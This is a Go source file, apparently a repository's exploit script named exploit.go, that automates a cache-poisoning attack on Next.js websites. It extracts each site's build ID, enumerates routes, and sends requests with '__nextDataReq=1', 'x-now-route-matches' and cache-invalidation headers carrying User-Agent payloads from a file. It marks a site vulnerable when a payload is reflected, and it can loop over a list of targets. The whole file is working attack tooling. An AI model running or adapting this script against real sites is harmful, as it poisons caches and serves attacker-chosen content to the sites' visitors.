README.md
Rendering markdown...
package main
import (
"bufio"
"encoding/json"
"flag"
"fmt"
"io"
"net/http"
"os"
"regexp"
"strings"
"time"
)
type NextJSData struct {
Pages []string `json:"pages"`
}
func extractBuildID(target string) (string, error) {
resp, err := http.Get(target)
if err != nil {
return "", err
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body)
if err != nil {
return "", err
}
re := regexp.MustCompile(`"buildId":"([^"]+)"`)
match := re.FindStringSubmatch(string(body))
if len(match) < 2 {
return "", fmt.Errorf("build ID not found")
}
return match[1], nil
}
func getNextJSRoutes(target, buildID string) ([]string, error) {
apiURL := fmt.Sprintf("%s/_next/data/%s/index.json", target, buildID)
resp, err := http.Get(apiURL)
if err != nil {
return nil, err
}
defer resp.Body.Close()
var data NextJSData
if err := json.NewDecoder(resp.Body).Decode(&data); err != nil {
return nil, err
}
return data.Pages, nil
}
func checkEndpoint(target, endpoint string) bool {
url := fmt.Sprintf("%s%s?__nextDataReq=1", target, endpoint)
resp, err := http.Get(url)
if err != nil {
return false
}
defer resp.Body.Close()
return resp.StatusCode != 404
}
func checkVulnerability(target, endpoint string, payloads []string, delay int) {
client := &http.Client{}
for _, payload := range payloads {
url := fmt.Sprintf("%s%s?__nextDataReq=1", target, endpoint)
req, _ := http.NewRequest("GET", url, nil)
req.Header.Set("x-now-route-matches", "1")
req.Header.Set("User-Agent", payload)
req.Header.Set("X-Nextjs-Cache", "INVALIDATE")
resp, err := client.Do(req)
if err != nil {
fmt.Printf("Error checking %s: %v\n", url, err)
continue
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
if strings.Contains(string(body), payload) {
fmt.Printf("[VULNERABLE] %s (Payload Reflected: %s)\n", url, payload)
return
} else {
fmt.Printf("[NOT VULNERABLE] %s\n", url)
}
time.Sleep(time.Duration(delay) * time.Second)
}
}
func readLines(filePath string) ([]string, error) {
file, err := os.Open(filePath)
if err != nil {
return nil, err
}
defer file.Close()
var lines []string
scanner := bufio.NewScanner(file)
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if line != "" {
lines = append(lines, line)
}
}
if err := scanner.Err(); err != nil {
return nil, err
}
return lines, nil
}
func processTarget(target string, endpoint string, payloads []string, delay int) {
fmt.Println("Scanning:", target)
buildID, err := extractBuildID(target)
if err != nil {
fmt.Println("Failed to retrieve build ID.")
} else {
pages, err := getNextJSRoutes(target, buildID)
if err == nil && len(pages) > 0 {
fmt.Println("Found Next.js pages:", pages)
endpoint = pages[0]
} else {
fmt.Println("No Next.js pages found, using default endpoint:", endpoint)
}
}
if !checkEndpoint(target, endpoint) {
fmt.Printf("Error: %s does not exist on %s\n", endpoint, target)
return
}
checkVulnerability(target, endpoint, payloads, delay)
}
func main() {
target := flag.String("t", "", "Single target URL (e.g., https://target.com)")
targetsFile := flag.String("l", "", "Path to file containing target URLs")
payloadsFile := flag.String("p", "", "Path to User-Agent payloads file")
delay := flag.Int("d", 5, "Delay between requests in seconds")
endpoint := flag.String("e", "/index", "Custom endpoint to test (default: /index)")
flag.Parse()
if (*target == "" && *targetsFile == "") || *payloadsFile == "" {
fmt.Println("Usage: go run exploit.go -t <target> -p <payloads_file> -d <delay> [-e <endpoint>] OR")
fmt.Println(" go run exploit.go -l <targets_file> -p <payloads_file> -d <delay> [-e <endpoint>]")
os.Exit(1)
}
payloads, err := readLines(*payloadsFile)
if err != nil {
fmt.Println("Failed to read payloads file:", err)
return
}
if *target != "" {
processTarget(*target, *endpoint, payloads, *delay)
} else {
targets, err := readLines(*targetsFile)
if err != nil {
fmt.Println("Failed to read targets file:", err)
return
}
for _, tgt := range targets {
processTarget(tgt, *endpoint, payloads, *delay)
}
}
}